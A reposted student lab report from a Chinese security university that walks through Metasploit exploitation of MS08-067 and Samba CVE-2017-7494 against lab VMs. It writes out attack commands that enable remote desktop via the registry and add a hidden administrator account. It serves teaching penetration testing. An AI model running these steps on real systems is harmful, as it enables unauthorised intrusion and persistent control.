網絡攻防技術實驗五

2018-10-23 實驗五

???201521450005

?

中國人民公安大學

Chinese people’?public security university

?

網絡對抗技術

實驗報告

?

實驗五

綜合滲透

?

?

?

學生姓名

陳軍

年級

?2015

區隊

?

指導教師

?高見

?

?

信息技術與網絡安全學院

20181023

?

實驗任務總綱

2018—2019?學年???學期

一、實驗目的

1.通過對木馬的練習,使讀者理解和掌握木馬傳播和運行的機制;通過手動刪除木馬,掌握檢查木馬和刪除木馬的技巧,學會防御木馬的相關知識,加深對木馬的安全防范意識。

?

2.了解并熟悉常用的網絡攻擊工具,木馬的基本功能;

3.達到鞏固課程知識和實際應用的目的。

二、實驗要求

1.認真閱讀每個實驗內容,需要截圖的題目,需清晰截圖并對截圖進行標注和說明。

2.文檔要求結構清晰,圖文表達準確,標注規范。推理內容客觀、合理、邏輯性強。

3.軟件工具可使用NCMSF等。

4.實驗結束后,保留電子文檔。

三、實驗步驟

1.準備

提前做好實驗準備,實驗前應把詳細了解實驗目的、實驗要求和實驗內容,熟悉并準備好實驗用的軟件工具,按照實驗內容和要求提前做好實驗內容的準備。

2.實驗環境

描述實驗所使用的硬件和軟件環境(包括各種軟件工具);

開機并啟動軟件office20032007、瀏覽器、加解密軟件。

3.實驗過程

1)啟動系統和啟動工具軟件環境。

2)用軟件工具實現實驗內容。

4.實驗報告

按照統一要求的實驗報告格式書寫實驗報告。把按照模板格式編寫的文檔嵌入到實驗報告文檔中,文檔按照規定的書寫格式書寫,表格要有表說圖形要有圖說。

?

?windows ms08067?漏洞利用

??https://pan.baidu.com/s/1dbBGdkM6aDzXcKajV47zBw? ? ? ? ? ? ? ?靶機環境

.1?知識背景

?

Metasploit是一款開源的安全漏洞檢測工具,Metasploit Framework (MSF)?2003年以開放源碼方式發布,是可以自由獲取的開發框架。它是一個強大的開源平臺,供開發,測試和使用惡意代碼,這個環境為滲透測試、shellcode?編寫和漏洞研究提供了一個可靠平臺。這種可以擴展的模型將負載控制(payload)、編碼器(encode)、無操作生成器(nops)和漏洞整合在一起,使?Metasploit Framework?成為一種研究高危漏洞的途徑。它集成了各平臺上常見的溢出漏洞和流行的?shellcode?,并且不斷更新。

?

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你專注于創建自己的溢出模塊或者二次開發。很少的一部分用匯編和C語言實現,其余均由ruby實現。總體架構:

?

?

?

?

?

?

?

?

.2?實訓環境

?

Windows XP SP3

?

IP192.168.215.132

?

Kali Linux?

?

IP192.168.215.130

?

.3?實訓原理

?

漏洞名稱:Windows Server服務RPC請求緩沖區溢出漏洞(MS08-067)此安全更新解決了服務器服務中一個秘密報告的漏洞。如果用戶在受影響的系統上收到特制的?RPC?請求,則該漏洞可能允許遠程執行代碼。 在?Microsoft Windows 2000Windows XP??Windows Server 2003?系統上,攻擊者可能未經身份驗證即可利用此漏洞運行任意代碼。 此漏洞可能用于進行蠕蟲攻擊。 防火墻最佳做法和標準的默認防火墻配置有助于保護網絡資源免受從企業外部發起的攻擊。

?

.4?漏洞利用過程

?

msfconsole使用search命令搜索MS08067漏洞攻擊程序

?

?

?

?

?

?

?

從結果中得到

?

exploit/windows/smb/ms08_067_netapi

?

表示當前msf框架中包含MS08067漏洞的攻擊插件。

?

使用use命令調用MS08067漏洞攻擊程序

?

use exploit/windows/smb/ms08_067_netapi

?

?

?

?

?

?

?

進入msf的交互式命令窗口下,使用show options?命令查看需要設置的選項。

?

?

?

?

?

?

?

從圖中可以看到還需設置RHOST(目標地址)、Exploit target(攻擊目標)使用?set?命令設置?Module Options,此處需要設置目標IP?set RHOST 192.168.215.132

?

?

?

?

?

?

?

使用?set?命令設置后,可再使用show options?命令查看設置情況

?

?

?

?

?

?

?

從中可以看出目標IP已經設置好接著設置Exploit target,使用show targets?查看可選項可以看出以下版本的系統均存在此漏洞

?

?

?

?

?

?

使用set target?命令設置目標,此處即為set target 34

?

?

?

?

?

?

?

此時再用show options?可以看到全部設置完成,接著使用exploit?或者?run?進行攻擊

?

?

?

?

?

執行exploit命令后得到一個meterpreter命令行交互窗口

?

?

?

?

?

?

meterpreter中輸入run getgui -e?命令,可以打開RDP(遠程桌面)服務,端口號3389

?

?

?

?

繼續輸入shell即可進入CMD窗口

?

?

?

?

?

?

?

cmd命令下也可以通過添加注冊表項的方式開啟對方遠程桌面服務(如果上面已經開啟了,這步可以省略)。?

?

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

?

?

?

?

?

?

?

?

?

使用netstat -an命令查看端口是否開放,從圖中可以看到已經開放3389端口。

?

?

?

?

?

?

接著使用net user命令查看XP系統中的用戶

?

?

?

?

?

?

?

?

?在平臺中獲取shell之后,繼續在命令行添加賬戶和管理員權限。

?

net user user pass /add???例如:net user yu 123 /add

?

net localgroup administrators /add??

?

例如:net localgroup administrators yu /add??

?

?

?

?

最后開啟遠程桌面,利用剛在添加的賬戶登陸被攻擊機器。?

?

rdesktop -a 32 -u yu -p 123 192.168.215.132:3389

?

?

?

?

?

(二)SMB協議漏洞利用與控制CVE-2017-7494

.1?漏洞描述

Samba是在LinuxUNIX系統上實現SMB協議的一個軟件。2017524Samba發布了4.6.4版本,修復了一個嚴重的遠程代碼執行漏洞,漏洞編號CVE-2017-7494,漏洞影響了Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中間的版本。攻擊者可以利用客戶端將指定庫文件上傳到具有可寫權限的共享目錄,使服務器加載并執行它。只需要一個可寫入的Samba用戶權限就可以利用該漏洞以root身份執行任意代碼。

https://pan.baidu.com/s/1AMd3BwbNjibv0TIcJjAFMw? ? ? ? ? ? ? ? ?靶機環境

.2?實訓環境

v?靶機環境:Stapler.zip中包含虛擬機導入文件,請使用virtual-box加載啟動。環境中有CVE-2017-7494相應的漏洞。(網卡模式設置為NAT模式或Bridge【橋接】模式--和攻擊環境設置一樣的模式即可)

v?攻擊環境:Kali-linxu,使用virtual-box啟動。(網卡模式設置為NAT模式或Bridge【橋接】模式--和靶機環境設置一樣的模式即可)

v?實驗目的:讀取靶機環境中的/root/flags.txt文件

v?說明:靶機環境和攻擊環境為兩臺虛擬機,啟動并保證兩臺機器互聯互通。

.3?實訓步驟

一、在攻擊者機器上,使用Nmapnetdiscover工具掃描子網的機器,發現靶機的IP地址。【實驗中,大家環境不同,發現的IP地址和圖中不一定一致】

?

?

?

?

?

?

二、使用Nmap工具掃描目標IP地址,發現其開放端口。

?

?

?

?

?

三、啟動MSF搜索CVE-2017-7494相關攻擊模塊

?

?

?

?

?

四、加載攻擊模塊

?

?

?

?

?

五、查看攻擊模塊中需要配置的參數

?

?

?

?

?

其中RHOST代表要攻擊的目標IP地址

RPORT代表攻擊目標的端口號

六、設置參數,并發動攻擊

?

?

?

?

?

七、獲取shell后,查看權限

?

?

?

?

?

八、獲得命令行交互窗口

使用python腳本獲得交互命令行窗口,腳本如下:

python -c "import pty; pty.spawn('/bin/bash')"

?

?

?

?

?

九、在靶機上操作

?

?

?

轉載于:https://www.cnblogs.com/p201521450007/p/9863876.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/388120.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/388120.shtml
英文地址,請注明出處:http://en.pswp.cn/news/388120.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

usgs地震記錄如何下載_用大葉草繪制USGS地震數據

usgs地震記錄如何下載One of the many services provided by the US Geological Survey (USGS) is the monitoring and tracking of seismological events worldwide. I recently stumbled upon their earthquake datasets provided at the website below.美國地質調查局(USGS)…

Springboot 項目中 xml文件讀取yml 配置文件

2019獨角獸企業重金招聘Python工程師標準>>> 在xml文件中讀取yml文件即可&#xff0c;代碼如下&#xff1a; 現在spring-boot提倡零配置&#xff0c;但是的如果要集成老的spring的項目&#xff0c;涉及到的bean的配置。 <bean id"yamlProperties" clas…

eclipse 插件打包發布

如果想把調試好的插件打包發布&#xff0c;并且在ECLIPSE中可以使用. 1.File-->Export 2.選擇 PLug-in Development下 的 Deployable plug-ins and fragments 3.進入 Deployable plug-ins and fragments 頁面 4.把底下的 Destubatuib 的選項中選擇 Archive file 在這里添入要…

無法獲取 vmci 驅動程序版本: 句柄無效

https://jingyan.baidu.com/article/a3a3f811ea5d2a8da2eb8aa1.html 將 vmci0.present "TURE" 改為 “FALSE”; 轉載于:https://www.cnblogs.com/limanjihe/p/9868462.html

數據可視化 信息可視化_更好的數據可視化的8個技巧

數據可視化 信息可視化Ggplot is R’s premier data visualization package. Its popularity can likely be attributed to its ease of use — with just a few lines of code you are able to produce great visualizations. This is especially great for beginners who are…

分布式定時任務框架Elastic-Job的使用

為什么80%的碼農都做不了架構師&#xff1f;>>> 一、前言 Elastic-Job是一個優秀的分布式作業調度框架。 Elastic-Job是一個分布式調度解決方案&#xff0c;由兩個相互獨立的子項目Elastic-Job-Lite和Elastic-Job-Cloud組成。 Elastic-Job-Lite定位為輕量級無中心化…

Memcached和Redis

Memcached和Redis作為兩種Inmemory的key-value數據庫&#xff0c;在設計和思想方面有著很多共通的地方&#xff0c;功能和應用方面在很多場合下(作為分布式緩存服務器使用等) 也很相似&#xff0c;在這里把兩者放在一起做一下對比的介紹 基本架構和思想 首先簡單介紹一下兩者的…

第4章 springboot熱部署 4-1 SpringBoot 使用devtools進行熱部署

/imooc-springboot-starter/src/main/resources/application.properties #關閉緩存, 即時刷新 #spring.freemarker.cachefalse spring.thymeleaf.cachetrue#熱部署生效 spring.devtools.restart.enabledtrue #設置重啟的目錄,添加那個目錄的文件需要restart spring.devtools.r…

border-radius 漲知識的寫法

<div idapp></div>復制代碼#app{width:100%;height:80px;background:pink;border-radius:75%/20% 20% 0 0;}復制代碼僅供自己總結記憶轉載于:https://juejin.im/post/5c80afd66fb9a049f81a1217

ibm python db_使用IBM HR Analytics數據集中的示例的Python獨立性卡方檢驗

ibm python dbSuppose you are exploring a dataset and you want to examine if two categorical variables are dependent on each other.假設您正在探索一個數據集&#xff0c;并且想要檢查兩個分類變量是否相互依賴。 The motivation could be a better understanding of …

Oracle優化檢查表

分類檢查項目相關文件或結果狀態備注日志及文件Oracle Alert 日志bdump/udump下是否存在明顯的報警listener相關日志SQL* Net日志參數/參數文件listener.ora/tnsnames.ora操作系統操作系統版本檢查操作系統補丁節點名操作系統vmstat狀態操作系統I/O狀態操作系統進程情況操作系統…

spring分布式事務學習筆記(2)

此文已由作者夏昀授權網易云社區發布。歡迎訪問網易云社區&#xff0c;了解更多網易技術產品運營經驗。Model類如下&#xff1a;package com.xy.model1 package com.xy.model;2 3 /**4 * Created by helloworld on 2015/1/30.5 */6 public class NameQa {7 private long …

sql 左聯接 全聯接_通過了解自我聯接將您SQL技能提升到一個新的水平

sql 左聯接 全聯接The last couple of blogs that I have written have been great for beginners ( Data Concepts Without Learning To Code or Developing A Data Scientist’s Mindset). But, I would really like to push myself to create content for other members of …

如何查看linux中文件打開情況

如何查看linux中文件打開情況 前言 我們都知道&#xff0c;在linux下&#xff0c;“一切皆文件”&#xff0c;因此有時候查看文件的打開情況&#xff0c;就顯得格外重要&#xff0c;而這里有一個命令能夠在這件事上很好的幫助我們-它就是lsof。 linux下有哪些文件 在介紹lsof命…

hadoop windows

1、安裝JDK1.6或更高版本 官網下載JDK&#xff0c;安裝時注意&#xff0c;最好不要安裝到帶有空格的路徑名下&#xff0c;例如:Programe Files&#xff0c;否則在配置Hadoop的配置文件時會找不到JDK&#xff08;按相關說法&#xff0c;配置文件中的路徑加引號即可解決&#xff…

Ocelot中文文檔入門

入門 Ocelot僅適用于.NET Core&#xff0c;目前是根據netstandard2.0構建的&#xff0c;如果Ocelot適合您&#xff0c;這個文檔可能會有用。 .NET Core 2.1 安裝NuGet包 使用nuget安裝Ocelot及其依賴項。 您需要創建一個netstandard2.0項目并將其打包到其中。 然后按照下面的“…

科學價值 社交關系 大數據_服務的價值:數據科學和用戶體驗研究美好生活

科學價值 社交關系 大數據A crucial part of building a product is understanding exactly how it provides your customers with value. Understanding this is understanding how you fit into the lives of your customers, and should be central to how you build on wha…

在Ubuntu下創建hadoop組和hadoop用戶

一、在Ubuntu下創建hadoop組和hadoop用戶 增加hadoop用戶組&#xff0c;同時在該組里增加hadoop用戶&#xff0c;后續在涉及到hadoop操作時&#xff0c;我們使用該用戶。 1、創建hadoop用戶組 2、創建hadoop用戶 sudo adduser -ingroup hadoop hadoop 回車后會提示輸入新的UNIX…

day06 hashlib模塊

1.hashlib模塊 import hashlib# password123456# print( password.encode()) #加密前先轉成二進制# mhashlib.md5(password.encode())# print(dir(m)) #查詢m的所有方法## print(m.hexdigest()) #使用hexdigest()方法加密&#xff0c;md5加密之后是不可逆&#xff0c;不可以解…

vs azure web_在Azure中遷移和自動化Chrome Web爬網程序的指南。

vs azure webWebscraping as a required skill for many data-science related jobs is becoming increasingly desirable as more companies slowly migrate their processes to the cloud.隨著越來越多的公司將其流程緩慢遷移到云中&#xff0c;將Web爬網作為許多與數據科學相…